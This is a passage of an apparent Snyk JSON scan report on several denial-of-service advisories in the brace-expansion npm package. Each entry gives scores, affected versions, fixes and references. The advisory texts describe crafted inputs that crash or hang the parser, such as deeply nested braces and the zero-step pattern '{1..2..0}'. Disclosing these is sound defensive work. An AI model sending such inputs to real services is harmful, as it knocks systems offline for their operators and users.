"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub 